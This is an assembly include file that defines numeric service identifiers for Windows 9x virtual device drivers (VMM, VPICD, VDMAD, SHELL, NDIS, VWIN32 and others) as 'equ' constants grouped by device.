VMM_RegSetValueEx equ 000010152h
VMM_CallRing3 equ 000010153h
VMM_Exec_PM_Int equ 000010154h
VMM_RegFlushKey equ 000010155h
VMM_PageCommitContig equ 000010156h
VMM_GetCurrentContext equ 000010157h
VMM_LocalizeSprintf equ 000010158h
VMM_LocalizeStackSprintf equ 000010159h
VMM_Call_Restricted_Event equ 00001015Ah
VMM_Cancel_Restricted_Event equ 00001015Bh
VMM_Register_PEF_Provider equ 00001015Ch
VMM_GetPhysPageInfo equ 00001015Dh
VMM_RegQueryInfoKey equ 00001015Eh
VMM_MemArb_Reserve_Pages equ 00001015Fh
VMM_Time_Slice_Sys_VM_Idle equ 000010160h
VMM_Time_Slice_Sleep equ 000010161h
VMM_Boost_With_Decay equ 000010162h
VMM_Set_Inversion_Pri equ 000010163h
VMM_Reset_Inversion_Pri equ 000010164h
VMM_Release_Inversion_Pri equ 000010165h
VMM_Get_Thread_Win32_Pri equ 000010166h
VMM_Set_Thread_Win32_Pri equ 000010167h
VMM_Set_Thread_Static_Boost equ 000010168h
VMM_Set_VM_Static_Boost equ 000010169h
VMM_Release_Inversion_Pri_ID equ 00001016Ah
VMM_Attach_Thread_To_Group equ 00001016Bh
VMM_Detach_Thread_From_Group equ 00001016Ch
VMM_Set_Group_Static_Boost equ 00001016Dh
VMM_GetRegistryPath equ 00001016Eh
VMM_GetRegistryKey equ 00001016Fh
VMM_Cleanup_Thread_State equ 000010170h
VMM_RegRemapPreDefKey equ 000010171h
VMM_End_V86_Serialization equ 000010172h
VMM_Assert_Range equ 000010173h
VMM_Sprintf equ 000010174h
VMM_PageChangePager equ 000010175h
VMM_RegCreateDynKey equ 000010176h
VMM_RegQMulti equ 000010177h
VMM_Boost_Thread_With_VM equ 000010178h
VMM_Get_Boot_Flags equ 000010179h
VMM_Set_Boot_Flags equ 00001017Ah
VMM_lstrcpyn equ 00001017Bh
VMM_lstrlen equ 00001017Ch
VMM_lmemcpy equ 00001017Dh
VMM_GetVxDName equ 00001017Eh
VMM_Force_Mutexes_Free equ 00001017Fh
VMM_Restore_Forced_Mutexes equ 000010180h
VMM_AddReclaimableItem equ 000010181h
VMM_SetReclaimableItem equ 000010182h
VMM_EnumReclaimableItem equ 000010183h
VMM_Time_Slice_Wake_Sys_VM equ 000010184h
VMM_VMM_Replace_Global_Environment equ 000010185h
VMM_Begin_Non_Serial_Nest_V86_Exec equ 000010186h
VMM_Get_Nest_Exec_Status equ 000010187h
VMM_Open_Boot_Log equ 000010188h
VMM_Write_Boot_Log equ 000010189h
VMM_Close_Boot_Log equ 00001018Ah
VMM_EnableDisable_Boot_Log equ 00001018Bh
VMM_Call_On_My_Stack equ 00001018Ch
VMM_Get_Inst_V86_Int_Vec_Base equ 00001018Dh
VMM_lstrcmpi equ 00001018Eh
VMM_strupr equ 00001018Fh
VMM_Log_Fault_Call_Out equ 000010190h
VMM_AtEventTime equ 000010191h
VMM_PageOutPages equ 000010192h
VMM_Call_On_My_Not_Flat_Stack equ 000010193h
VMM_LinRegionLock equ 000010194h
VMM_LinRegionUnLock equ 000010195h
VMM_AttemptingSomethingDangerous equ 000010196h
VMM_Vsprintf equ 000010197h
VMM_Vsprintfw equ 000010198h
VMM_Load_FS_Service equ 000010199h
VMM_Assert_FS_Service equ 00001019Ah
VMM_ObsoleteRtlUnwind equ 00001019Bh
VMM_ObsoleteRtlRaiseException equ 00001019Ch
VMM_ObsoleteRtlRaiseStatus equ 00001019Dh
VMM_ObsoleteKeGetCurrentIrql equ 00001019Eh
VMM_ObsoleteKfRaiseIrql equ 00001019Fh
VMM_ObsoleteKfLowerIrql equ 0000101A0h
VMM_Begin_Preemptable_Code equ 0000101A1h
VMM_End_Preemptable_Code equ 0000101A2h
VMM_Set_Preemptable_Count equ 0000101A3h
VMM_ObsoleteKeInitializeDpc equ 0000101A4h
VMM_ObsoleteKeInsertQueueDpc equ 0000101A5h
VMM_ObsoleteKeRemoveQueueDpc equ 0000101A6h
VMM_HeapAllocateEx equ 0000101A7h
VMM_HeapReAllocateEx equ 0000101A8h
VMM_HeapGetSizeEx equ 0000101A9h
VMM_HeapFreeEx equ 0000101AAh
VMM_Get_CPUID_Flags equ 0000101ABh
VMM_KeCheckDivideByZeroTrap equ 0000101ACh
VMM_RegisterGARTHandler equ 0000101ADh
VMM_GARTReserve equ 0000101AEh
VMM_GARTCommit equ 0000101AFh
VMM_GARTUnCommit equ 0000101B0h
VMM_GARTFree equ 0000101B1h
VMM_GARTMemAttributes equ 0000101B2h
VMM_KfRaiseIrqlToDpcLevel equ 0000101B3h
VMM_VMMCreateThreadEx equ 0000101B4h
VMM_FlushCaches equ 0000101B5h
VMM_Set_Thread_Win32_Pri_NoYield equ 0000101B6h
VMM_FlushMappedCacheBlock equ 0000101B7h
VMM_ReleaseMappedCacheBlock equ 0000101B8h
VMM_Run_Preemptable_Events equ 0000101B9h
VMM_MMPreSystemExit equ 0000101BAh
VMM_MMPageFileShutDown equ 0000101BBh
VMM_Set_Global_Time_Out_Ex equ 0000101BCh
; [0002.DEBUG]
DEBUG_Get_Version equ 000020000h
DEBUG_Fault equ 000020001h
DEBUG_CheckFault equ 000020002h
DEBUG_LoadSyms equ 000020003h
; [0003.VPICD]
VPICD_Get_Version equ 000030000h
VPICD_Virtualize_IRQ equ 000030001h
VPICD_Set_Int_Request equ 000030002h
VPICD_Clear_Int_Request equ 000030003h
VPICD_Phys_EOI equ 000030004h
VPICD_Get_Complete_Status equ 000030005h
VPICD_Get_Status equ 000030006h
VPICD_Test_Phys_Request equ 000030007h
VPICD_Physically_Mask equ 000030008h
VPICD_Physically_Unmask equ 000030009h
VPICD_Set_Auto_Masking equ 00003000Ah
VPICD_Get_IRQ_Complete_Status equ 00003000Bh
VPICD_Convert_Handle_To_IRQ equ 00003000Ch
VPICD_Convert_IRQ_To_Int equ 00003000Dh
VPICD_Convert_Int_To_IRQ equ 00003000Eh
VPICD_Call_When_Hw_Int equ 00003000Fh
VPICD_Force_Default_Owner equ 000030010h
VPICD_Force_Default_Behavior equ 000030011h
VPICD_Auto_Mask_At_Inst_Swap equ 000030012h
VPICD_Begin_Inst_Page_Swap equ 000030013h
VPICD_End_Inst_Page_Swap equ 000030014h
VPICD_Virtual_EOI equ 000030015h
VPICD_Get_Virtualization_Count equ 000030016h
VPICD_Post_Sys_Critical_Init equ 000030017h
VPICD_VM_SlavePIC_Mask_Change equ 000030018h
VPICD_Clear_IR_Bits equ 000030019h
VPICD_Get_Level_Mask equ 00003001Ah
VPICD_Set_Level_Mask equ 00003001Bh
VPICD_Set_Irql_Mask equ 00003001Ch
VPICD_Set_Channel_Irql equ 00003001Dh
VPICD_Prepare_For_Shutdown equ 00003001Eh
; [0004.VDMAD]
VDMAD_Get_Version equ 000040000h
VDMAD_Virtualize_Channel equ 000040001h
VDMAD_Get_Region_Info equ 000040002h
VDMAD_Set_Region_Info equ 000040003h
VDMAD_Get_Virt_State equ 000040004h
VDMAD_Set_Virt_State equ 000040005h
VDMAD_Set_Phys_State equ 000040006h
VDMAD_Mask_Channel equ 000040007h
VDMAD_UnMask_Channel equ 000040008h
VDMAD_Lock_DMA_Region equ 000040009h
VDMAD_Unlock_DMA_Region equ 00004000Ah
VDMAD_Scatter_Lock equ 00004000Bh
VDMAD_Scatter_Unlock equ 00004000Ch
VDMAD_Reserve_Buffer_Space equ 00004000Dh
VDMAD_Request_Buffer equ 00004000Eh
VDMAD_Release_Buffer equ 00004000Fh
VDMAD_Copy_To_Buffer equ 000040010h
VDMAD_Copy_From_Buffer equ 000040011h
VDMAD_Default_Handler equ 000040012h
VDMAD_Disable_Translation equ 000040013h
VDMAD_Enable_Translation equ 000040014h
VDMAD_Get_EISA_Adr_Mode equ 000040015h
VDMAD_Set_EISA_Adr_Mode equ 000040016h
VDMAD_Unlock_DMA_Region_No_Dirty equ 000040017h
VDMAD_Phys_Mask_Channel equ 000040018h
VDMAD_Phys_Unmask_Channel equ 000040019h
VDMAD_Unvirtualize_Channel equ 00004001Ah
VDMAD_Set_IO_Address equ 00004001Bh
VDMAD_Get_Phys_Count equ 00004001Ch
VDMAD_Get_Phys_Status equ 00004001Dh
VDMAD_Get_Max_Phys_Page equ 00004001Eh
VDMAD_Set_Channel_Callbacks equ 00004001Fh
VDMAD_Get_Virt_Count equ 000040020h
VDMAD_Set_Virt_Count equ 000040021h
; [0005.VTD]
VTD_Get_Version equ 000050000h
VTD_Update_System_Clock equ 000050001h
VTD_Get_Interrupt_Period equ 000050002h
VTD_Begin_Min_Int_Period equ 000050003h
VTD_End_Min_Int_Period equ 000050004h
VTD_Disable_Trapping equ 000050005h
VTD_Enable_Trapping equ 000050006h
VTD_Get_Real_Time equ 000050007h
VTD_Get_Date_And_Time equ 000050008h
VTD_Adjust_VM_Count equ 000050009h
VTD_Delay equ 00005000Ah
VTD_GetTimeZoneBias equ 00005000Bh
VTD_ObsoleteKeQueryPerformanceCounter equ 00005000Ch
VTD_ObsoleteKeQuerySystemTime equ 00005000Dh
VTD_Install_IO_Handle equ 00005000Eh
VTD_Remove_IO_Handle equ 00005000Fh
VTD_Delay_Ex equ 000050010h
VTD_Init_Timer equ 000050011h
; [0006.V86MMGR]
V86MMGR_Get_Version equ 000060000h
V86MMGR_Allocate_V86_Pages equ 000060001h
V86MMGR_Set_EMS_XMS_Limits equ 000060002h
V86MMGR_Get_EMS_XMS_Limits equ 000060003h
V86MMGR_Set_Mapping_Info equ 000060004h
V86MMGR_Get_Mapping_Info equ 000060005h
V86MMGR_Xlat_API equ 000060006h
V86MMGR_Load_Client_Ptr equ 000060007h
V86MMGR_Allocate_Buffer equ 000060008h
V86MMGR_Free_Buffer equ 000060009h
V86MMGR_Get_Xlat_Buff_State equ 00006000Ah
V86MMGR_Set_Xlat_Buff_State equ 00006000Bh
V86MMGR_Get_VM_Flat_Sel equ 00006000Ch
V86MMGR_Map_Pages equ 00006000Dh
V86MMGR_Free_Page_Map_Region equ 00006000Eh
V86MMGR_LocalGlobalReg equ 00006000Fh
V86MMGR_GetPgStatus equ 000060010h
V86MMGR_SetLocalA20 equ 000060011h
V86MMGR_ResetBasePages equ 000060012h
V86MMGR_SetAvailMapPgs equ 000060013h
V86MMGR_NoUMBInitCalls equ 000060014h
V86MMGR_Get_EMS_XMS_Avail equ 000060015h
V86MMGR_Toggle_HMA equ 000060016h
V86MMGR_Dev_Init equ 000060017h
V86MMGR_Alloc_UM_Page equ 000060018h
; [0007.PAGESWAP]
PAGESWAP_Get_Version equ 000070000h
PAGESWAP_0001 equ 000070001h
PAGESWAP_0002 equ 000070002h
PAGESWAP_0003 equ 000070003h
PAGESWAP_0004 equ 000070004h
PAGESWAP_0005 equ 000070005h
PAGESWAP_Test_IO_Valid equ 000070006h
PAGESWAP_Read_Or_Write equ 000070007h
PAGESWAP_Grow_File equ 000070008h
PAGESWAP_Init_File equ 000070009h
; [0009.REBOOT]
; [000A.VDD]
VDD_Get_Version equ 0000A0000h
VDD_PIF_State equ 0000A0001h
VDD_Get_GrabRtn equ 0000A0002h
VDD_Hide_Cursor equ 0000A0003h
VDD_Set_VMType equ 0000A0004h
VDD_Get_ModTime equ 0000A0005h
VDD_Set_HCurTrk equ 0000A0006h
VDD_Msg_ClrScrn equ 0000A0007h
VDD_Msg_ForColor equ 0000A0008h
VDD_Msg_BakColor equ 0000A0009h
VDD_Msg_TextOut equ 0000A000Ah
VDD_Msg_SetCursPos equ 0000A000Bh
VDD_Query_Access equ 0000A000Ch
VDD_Check_Update_Soon equ 0000A000Dh
VDD_Get_Mini_Dispatch_Table equ 0000A000Eh
VDD_Register_Virtual_Port equ 0000A000Fh
VDD_Get_VM_Info equ 0000A0010h
VDD_Get_Special_VM_IDs equ 0000A0011h
VDD_Register_Extra_Screen_Selector equ 0000A0012h
VDD_Takeover_VGA_Port equ 0000A0013h
VDD_Get_DISPLAYINFO equ 0000A0014h
VDD_Do_Physical_IO equ 0000A0015h
VDD_Set_Sleep_Flag_Addr equ 0000A0016h
VDD_EnableDevice equ 0000A0017h
; [000B.VSD]
VSD_Get_Version equ 0000B0000h
VSD_Bell equ 0000B0001h
VSD_SoundOn equ 0000B0002h
VSD_TakeSoundPort equ 0000B0003h
; [000C.VMD]
VMD_Get_Version equ 0000C0000h
VMD_Set_Mouse_Type equ 0000C0001h
VMD_Get_Mouse_Owner equ 0000C0002h
VMD_Post_Pointer_Message equ 0000C0003h
VMD_Set_Cursor_Proc equ 0000C0004h
VMD_Call_Cursor_Proc equ 0000C0005h
VMD_Set_Mouse_Data equ 0000C0006h
VMD_Get_Mouse_Data equ 0000C0007h
VMD_Manipulate_Pointer_Message equ 0000C0008h
VMD_Set_Middle_Button equ 0000C0009h
VMD_Enable_Disable_Mouse_Events equ 0000C000Ah
VMD_Post_Absolute_Pointer_Message equ 0000C000Bh
; [000D.VKD]
VKD_Get_Version equ 0000D0000h
VKD_Define_Hot_Key equ 0000D0001h
VKD_Remove_Hot_Key equ 0000D0002h
VKD_Local_Enable_Hot_Key equ 0000D0003h
VKD_Local_Disable_Hot_Key equ 0000D0004h
VKD_Reflect_Hot_Key equ 0000D0005h
VKD_Cancel_Hot_Key_State equ 0000D0006h
VKD_Force_Keys equ 0000D0007h
VKD_Get_Kbd_Owner equ 0000D0008h
VKD_Define_Paste_Mode equ 0000D0009h
VKD_Start_Paste equ 0000D000Ah
VKD_Cancel_Paste equ 0000D000Bh
VKD_Get_Msg_Key equ 0000D000Ch
VKD_Peek_Msg_Key equ 0000D000Dh
VKD_Flush_Msg_Key_Queue equ 0000D000Eh
VKD_Enable_Keyboard equ 0000D000Fh
VKD_Disable_KeyBoard equ 0000D0010h
VKD_Get_Shift_State equ 0000D0011h
VKD_Filter_Keyboard_Input equ 0000D0012h
VKD_Put_Byte equ 0000D0013h
VKD_Set_Shift_State equ 0000D0014h
VKD_Send_Data equ 0000D0015h
VKD_Set_LEDs equ 0000D0016h
VKD_Set_Key_Rate equ 0000D0017h
VKD_Get_Key_Rate equ 0000D0018h
; [000E.VCD]
VCD_Get_Version equ 0000E0000h
VCD_Set_Port_Global equ 0000E0001h
VCD_Get_Focus equ 0000E0002h
VCD_Virtualize_Port equ 0000E0003h
VCD_Acquire_Port equ 0000E0004h
VCD_Free_Port equ 0000E0005h
VCD_Acquire_Port_Windows_Style equ 0000E0006h
VCD_Free_Port_Windows_Style equ 0000E0007h
VCD_Steal_Port_Windows_Style equ 0000E0008h
VCD_Find_COM_Index equ 0000E0009h
VCD_Set_Port_Global_Special equ 0000E000Ah
VCD_Virtualize_Port_Dynamic equ 0000E000Bh
VCD_Unvirtualize_Port_Dynamic equ 0000E000Ch
; [000F.VPD]
VPD_Get_Version equ 0000F0000h
VPD_Acquire equ 0000F0001h
VPD_Release equ 0000F0002h
VPD_Jumbo_Acquire equ 0000F0003h
VPD_Jumbo_Release equ 0000F0004h
; [0010.IOS]
IOS_Get_Version equ 000100000h
IOS_BD_Register_Device equ 000100001h
IOS_Find_Int13_Drive equ 000100002h
IOS_Get_Device_List equ 000100003h
IOS_SendCommand equ 000100004h
IOS_BD_Command_Complete equ 000100005h
IOS_Synchronous_Command equ 000100006h
IOS_Register equ 000100007h
IOS_Requestor_Service equ 000100008h
IOS_Exclusive_Access equ 000100009h
IOS_Send_Next_Command equ 00010000Ah
IOS_Set_Async_Time_Out equ 00010000Bh
IOS_Signal_Semaphore_No_Switch equ 00010000Ch
IOS_IdleStatus equ 00010000Dh
IOS_MapIORSToI24 equ 00010000Eh
IOS_MapIORSToI21 equ 00010000Fh
IOS_PrintLog equ 000100010h
; [0011.VMCPD]
VMCPD_Get_Version equ 000110000h
VMCPD_Get_Virt_State equ 000110001h
VMCPD_Set_Virt_State equ 000110002h
VMCPD_Get_CR0_State equ 000110003h
VMCPD_Set_CR0_State equ 000110004h
VMCPD_Get_Thread_State equ 000110005h
VMCPD_Set_Thread_State equ 000110006h
VMCPD_Get_FP_Instruction_Size equ 000110007h
VMCPD_Set_Thread_Precision equ 000110008h
; [0012.EBIOS]
EBIOS_Get_Version equ 000120000h
EBIOS_Get_Unused_Mem equ 000120001h
; [0014.VNETBIOS]
VNETBIOS_Get_Version equ 000140000h
VNETBIOS_Register equ 000140001h
VNETBIOS_Submit equ 000140002h
VNETBIOS_Enum equ 000140003h
VNETBIOS_Deregister equ 000140004h
VNETBIOS_Register2 equ 000140005h
VNETBIOS_Map equ 000140006h
VNETBIOS_Enum2 equ 000140007h
; [0015.DOSMGR]
DOSMGR_Get_Version equ 000150000h
DOSMGR_Set_Exec_VM_Data equ 000150001h
DOSMGR_Copy_VM_Drive_State equ 000150002h
DOSMGR_Exec_VM equ 000150003h
DOSMGR_Get_IndosPtr equ 000150004h
DOSMGR_Add_Device equ 000150005h
DOSMGR_Remove_Device equ 000150006h
DOSMGR_Instance_Device equ 000150007h
DOSMGR_Get_DOS_Crit_Status equ 000150008h
DOSMGR_Enable_Indos_Polling equ 000150009h
DOSMGR_BackFill_Allowed equ 00015000Ah
DOSMGR_LocalGlobalReg equ 00015000Bh
DOSMGR_Init_UMB_Area equ 00015000Ch
DOSMGR_Begin_V86_App equ 00015000Dh
DOSMGR_End_V86_App equ 00015000Eh
DOSMGR_Alloc_Local_Sys_VM_Mem equ 00015000Fh
DOSMGR_Grow_CDSs equ 000150010h
DOSMGR_Translate_Server_DOS_Call equ 000150011h
DOSMGR_MMGR_PSP_Change_Notifier equ 000150012h
; [0017.SHELL]
SHELL_Get_Version equ 000170000h
SHELL_Resolve_Contention
equ 000170001h
SHELL_Event equ 000170002h
SHELL_SYSMODAL_Message equ 000170003h
SHELL_Message equ 000170004h
SHELL_GetVMInfo equ 000170005h
SHELL_PostMessage equ 000170006h
SHELL_ShellExecute equ 000170007h
SHELL_PostShellMessage equ 000170008h
SHELL_DispatchRing0AppyEvents equ 000170009h
SHELL_Hook_Properties equ 00017000Ah
SHELL_Unhook_Properties equ 00017000Bh
SHELL_Update_User_Activity equ 00017000Ch
SHELL_QueryAppyTimeAvailable equ 00017000Dh
SHELL_CallAtAppyTime equ 00017000Eh
SHELL_CancelAppyTimeEvent equ 00017000Fh
SHELL_BroadcastSystemMessage equ 000170010h
SHELL_HookSystemBroadcast equ 000170011h
SHELL_UnhookSystemBroadcast equ 000170012h
SHELL_LocalAllocEx equ 000170013h
SHELL_LocalFree equ 000170014h
SHELL_LoadLibrary equ 000170015h
SHELL_FreeLibrary equ 000170016h
SHELL_GetProcAddress equ 000170017h
SHELL_CallDll equ 000170018h
SHELL_SuggestSingleMSDOSMode equ 000170019h
SHELL_CheckHotkeyAllowed equ 00017001Ah
SHELL_GetDOSAppInfo equ 00017001Bh
SHELL_Update_User_Activity_Ex equ 00017001Ch
; [0018.VMPOOL]
VMPOOL_Get_Version equ 000180000h
VMPOOL_Enable_Disable equ 000180001h
VMPOOL_Reset_Detection equ 000180002h
VMPOOL_Check_Idle equ 000180003h
; [001A.DOSNET]
DOSNET_Get_Version equ 0001A0000h
DOSNET_Send_FILESYSCHANGE equ 0001A0001h
DOSNET_Do_PSP_Adjust equ 0001A0002h
; [0020.INT13]
INT13_Get_Version equ 000200000h
INT13_Device_Registered equ 000200001h
INT13_Translate_VM_Int equ 000200002h
INT13_Hooking_BIOS_Int equ 000200003h
INT13_Unhooking_BIOS_Int equ 000200004h
; [0021.PAGEFILE]
PAGEFILE_Get_Version equ 000210000h
PAGEFILE_Init_File equ 000210001h
PAGEFILE_Clean_Up equ 000210002h
PAGEFILE_Grow_File equ 000210003h
PAGEFILE_Read_Or_Write equ 000210004h
PAGEFILE_Cancel equ 000210005h
PAGEFILE_Test_IO_Valid equ 000210006h
PAGEFILE_Get_Size_Info equ 000210007h
PAGEFILE_Set_Async_Manager equ 000210008h
PAGEFILE_Call_Async_Manager equ 000210009h
; [0026.VPOWERD]
VPOWERD_Get_Version equ 000260000h
VPOWERD_Get_APM_BIOS_Version equ 000260001h
VPOWERD_Get_Power_Management_Level equ 000260002h
VPOWERD_Set_Power_Management_Level equ 000260003h
VPOWERD_Set_Device_Power_State equ 000260004h
VPOWERD_Set_System_Power_State equ 000260005h
VPOWERD_Restore_Power_On_Defaults equ 000260006h
VPOWERD_Get_Power_Status equ 000260007h
VPOWERD_Get_Power_State equ 000260008h
VPOWERD_OEM_APM_Function equ 000260009h
VPOWERD_Register_Power_Handler equ 00026000Ah
VPOWERD_Deregister_Power_Handler equ 00026000Bh
VPOWERD_W32_Get_System_Power_Status equ 00026000Ch
VPOWERD_W32_Set_System_Power_State equ 00026000Dh
VPOWERD_Get_Capabilities equ 00026000Eh
VPOWERD_Enable_Resume_On_Ring equ 00026000Fh
VPOWERD_Disable_Resume_On_Ring equ 000260010h
VPOWERD_Set_Resume_Timer equ 000260011h
VPOWERD_Get_Resume_Timer equ 000260012h
VPOWERD_Disable_Resume_Timer equ 000260013h
VPOWERD_Enable_Timer_Based_Requests equ 000260014h
VPOWERD_Disable_Timer_Based_Requests equ 000260015h
VPOWERD_W32_Get_Power_Status equ 000260016h
VPOWERD_Get_Timer_Based_Requests_Status equ 000260017h
VPOWERD_Get_Ring_Resume_Status equ 000260018h
VPOWERD_Transfer_Control equ 000260019h
; [0027.VXDLDR]
VXDLDR_GetVersion equ 000270000h
VXDLDR_LoadDevice equ 000270001h
VXDLDR_UnloadDevice equ 000270002h
VXDLDR_DevInitSucceeded equ 000270003h
VXDLDR_DevInitFailed equ 000270004h
VXDLDR_GetDeviceList equ 000270005h
VXDLDR_UnloadMe equ 000270006h
VXDLDR_PELDR_LoadModule equ 000270007h
VXDLDR_PELDR_GetModuleHandle equ 000270008h
VXDLDR_PELDR_GetModuleUsage equ 000270009h
VXDLDR_PELDR_GetEntryPoint equ 00027000Ah
VXDLDR_PELDR_GetProcAddress equ 00027000Bh
VXDLDR_PELDR_AddExportTable equ 00027000Ch
VXDLDR_PELDR_RemoveExportTable equ 00027000Dh
VXDLDR_PELDR_FreeModule equ 00027000Eh
VXDLDR_Notify equ 00027000Fh
VXDLDR_PELDR_InitCompleted equ 000270010h
VXDLDR_PELDR_LoadModuleEx equ 000270011h
VXDLDR_PELDR_LoadModule2 equ 000270012h
; [0028.NDIS]
NDIS_GetVersion equ 000280000h
NDIS_AllocateSpinLock equ 000280001h
NDIS_FreeSpinLock equ 000280002h
NDIS_AcquireSpinLock equ 000280003h
NDIS_ReleaseSpinLock equ 000280004h
NDIS_OpenConfiguration equ 000280005h
NDIS_ReadConfiguration equ 000280006h
NDIS_CloseConfiguration equ 000280007h
NDIS_ReadEisaSlotInformation equ 000280008h
NDIS_ReadMcaPosInformation equ 000280009h
NDIS_AllocateMemory equ 00028000Ah
NDIS_FreeMemory equ 00028000Bh
NDIS_SetTimer equ 00028000Ch
NDIS_CancelTimer equ 00028000Dh
NDIS_StallExecution equ 00028000Eh
NDIS_InitializeInterrupt equ 00028000Fh
NDIS_RemoveInterrupt equ 000280010h
NDIS_SynchronizeWithInterrupt equ 000280011h
NDIS_OpenFile equ 000280012h
NDIS_MapFile equ 000280013h
NDIS_UnmapFile equ 000280014h
NDIS_CloseFile equ 000280015h
NDIS_AllocatePacketPool equ 000280016h
NDIS_FreePacketPool equ 000280017h
NDIS_AllocatePacket equ 000280018h
NDIS_ReinitializePacket equ 000280019h
NDIS_FreePacket equ 00028001Ah
NDIS_QueryPacket equ 00028001Bh
NDIS_AllocateBufferPool equ 00028001Ch
NDIS_FreeBufferPool equ 00028001Dh
NDIS_AllocateBuffer equ 00028001Eh
NDIS_CopyBuffer equ 00028001Fh
NDIS_FreeBuffer equ 000280020h
NDIS_QueryBuffer equ 000280021h
NDIS_GetBufferPhysicalAddress equ 000280022h
NDIS_ChainBufferAtFront equ 000280023h
NDIS_ChainBufferAtBack equ 000280024h
NDIS_UnchainBufferAtFront equ 000280025h
NDIS_UnchainBufferAtBack equ 000280026h
NDIS_GetNextBuffer equ 000280027h
NDIS_CopyFromPacketToPacket equ 000280028h
NDIS_RegisterProtocol equ 000280029h
NDIS_DeregisterProtocol equ 00028002Ah
NDIS_OpenAdapter equ 00028002Bh
NDIS_CloseAdapter equ 00028002Ch
NDIS_Send equ 00028002Dh
NDIS_TransferData equ 00028002Eh
NDIS_Reset equ 00028002Fh
NDIS_Request equ 000280030h
NDIS_InitializeWrapper equ 000280031h
NDIS_TerminateWrapper equ 000280032h
NDIS_RegisterMac equ 000280033h
NDIS_DeregisterMac equ 000280034h
NDIS_RegisterAdapter equ 000280035h
NDIS_DeregisterAdapter equ 000280036h
NDIS_CompleteOpenAdapter equ 000280037h
NDIS_CompleteCloseAdapter equ 000280038h
NDIS_CompleteSend equ 000280039h
NDIS_CompleteTransferData equ 00028003Ah
NDIS_CompleteReset equ 00028003Bh
NDIS_CompleteRequest equ 00028003Ch
NDIS_IndicateReceive equ 00028003Dh
NDIS_IndicateReceiveComplete equ 00028003Eh
NDIS_IndicateStatus equ 00028003Fh
NDIS_IndicateStatusComplete equ 000280040h
NDIS_CompleteQueryStatistics equ 000280041h
NDIS_EqualString equ 000280042h
NDIS_RegAdaptShutdown equ 000280043h
NDIS_ReadNetworkAddress equ 000280044h
NDIS_WriteErrorLogEntry equ 000280045h
NDIS_MapIoSpace equ 000280046h
NDIS_DeregAdaptShutdown equ 000280047h
NDIS_AllocateSharedMemory equ 000280048h
NDIS_FreeSharedMemory equ 000280049h
NDIS_AllocateDmaChannel equ 00028004Ah
NDIS_SetupDmaTransfer equ 00028004Bh
NDIS_CompleteDmaTransfer equ 00028004Ch
NDIS_ReadDmaCounter equ 00028004Dh
NDIS_FreeDmaChannel equ 00028004Eh
NDIS_ReleaseAdapterResources equ 00028004Fh
NDIS_QueryGlobalStatistics equ 000280050h
NDIS_OpenProtocolConfiguration equ 000280051h
NDIS_CompleteBindAdapter equ 000280052h
NDIS_CompleteUnbindAdapter equ 000280053h
NDIS_WrapperStartNet equ 000280054h
NDIS_WrapperGetComponentList equ 000280055h
NDIS_WrapperQueryAdapterResources equ 000280056h
NDIS_WrapperDelayBinding equ 000280057h
NDIS_WrapperResumeBinding equ 000280058h
NDIS_WrapperRemoveChildren equ 000280059h
NDIS_ImmediateReadPciSlotInformation equ 00028005Ah
NDIS_ImmediateWritePciSlotInformation equ 00028005Bh
NDIS_ReadPciSlotInformation equ 00028005Ch
NDIS_WritePciSlotInformation equ 00028005Dh
NDIS_PciAssignResources equ 00028005Eh
NDIS_QueryBufferOffset equ 00028005Fh
NDIS_0060 equ 000280060h
NDIS_0061 equ 000280061h
NDIS_InitializeEvent equ 000280062h
NDIS_SetEvent equ 000280063h
NDIS_ResetEvent equ 000280064h
NDIS_WaitEvent equ 000280065h
NDIS_ReturnPackets equ 000280066h
NDIS_QueryReceiveInformation equ 000280067h
NDIS_CmRegisterAddressFamily equ 000280068h
NDIS_ClOpenAddressFamily equ 000280069h
NDIS_CmOpenAddressFamilyComplete equ 00028006Ah
NDIS_ClCloseAddressFamily equ 00028006Bh
NDIS_CmCloseAddressFamilyComplete equ 00028006Ch
NDIS_ClRegisterSap equ 00028006Dh
NDIS_CmRegisterSapComplete equ 00028006Eh
NDIS_ClDeregisterSap equ 00028006Fh
NDIS_CmDeregisterSapComplete equ 000280070h
NDIS_ClMakeCall equ 000280071h
NDIS_CmMakeCallComplete equ 000280072h
NDIS_CmDispatchIncomingCall equ 000280073h
NDIS_ClIncomingCallComplete equ 000280074h
NDIS_CmDispatchCallConnected equ 000280075h
NDIS_ClModifyCallQoS equ 000280076h
NDIS_CmModifyCallQoSComplete equ 000280077h
NDIS_CmDispatchIncomingCallQoSChange equ 000280078h
NDIS_ClCloseCall equ 000280079h
NDIS_CmCloseCallComplete equ 00028007Ah
NDIS_CmDispatchIncomingCloseCall equ 00028007Bh
NDIS_ClAddParty equ 00028007Ch
NDIS_CmAddPartyComplete equ 00028007Dh
NDIS_ClDropParty equ 00028007Eh
NDIS_CmDropPartyComplete equ 00028007Fh
NDIS_CmDispatchIncomingDropParty equ 000280080h
NDIS_CoCreateVc equ 000280081h
NDIS_CoDeleteVc equ 000280082h
NDIS_CmActivateVc equ 000280083h
NDIS_CmDeactivateVc equ 000280084h
NDIS_CoRequest equ 000280085h
NDIS_CoRequestComplete equ 000280086h
NDIS_CoSendPackets equ 000280087h
NDIS_InitAnsiString equ 000280088h
NDIS_InitUnicodeString equ 000280089h
NDIS_AnsiStringToUnicodeString equ 00028008Ah
NDIS_UnicodeStringToAnsiString equ 00028008Bh
NDIS_WriteConfiguration equ 00028008Ch
NDIS_OpenConfigurationKeyByName equ 00028008Dh
NDIS_OpenConfigurationKeyByIndex equ 00028008Eh
NDIS_ConvertStringToAtmAddress equ 00028008Fh
NDIS_AllocateMemoryWithTag equ 000280090h
NDIS_OpenGlobalConfiguration equ 000280091h
NDIS_InterlockedIncrement equ 000280092h
NDIS_InterlockedDecrement equ 000280093h
NDIS_InterlockedAddUlong equ 000280094h
NDIS_InterlockedInsertHeadList equ 000280095h
NDIS_InterlockedInsertTailList equ 000280096h
NDIS_InterlockedRemoveHeadList equ 000280097h
NDIS_InterlockedPopEntryList equ 000280098h
NDIS_InterlockedPushEntryList equ 000280099h
NDIS_WriteEventLogEntry equ 00028009Ah
NDIS_GetFirstBufferFromPacket equ 00028009Bh
NDIS_SendPackets equ 00028009Ch
NDIS_009D equ 00028009Dh
NDIS_GetSystemUpTime equ 00028009Eh
NDIS_ScheduleWorkItem equ 00028009Fh
NDIS_QueryAdapterInstanceName equ 0002800A0h
; [002A.VWIN32]
VWIN32_Get_Version equ 0002A0000h
VWIN32_DIOCCompletionRoutine equ 0002A0001h
VWIN32_QueueUserApc equ 0002A0002h
VWIN32_GetThreadContext equ 0002A0003h
VWIN32_SetThreadContext equ 0002A0004h
VWIN32_CopyMem equ 0002A0005h
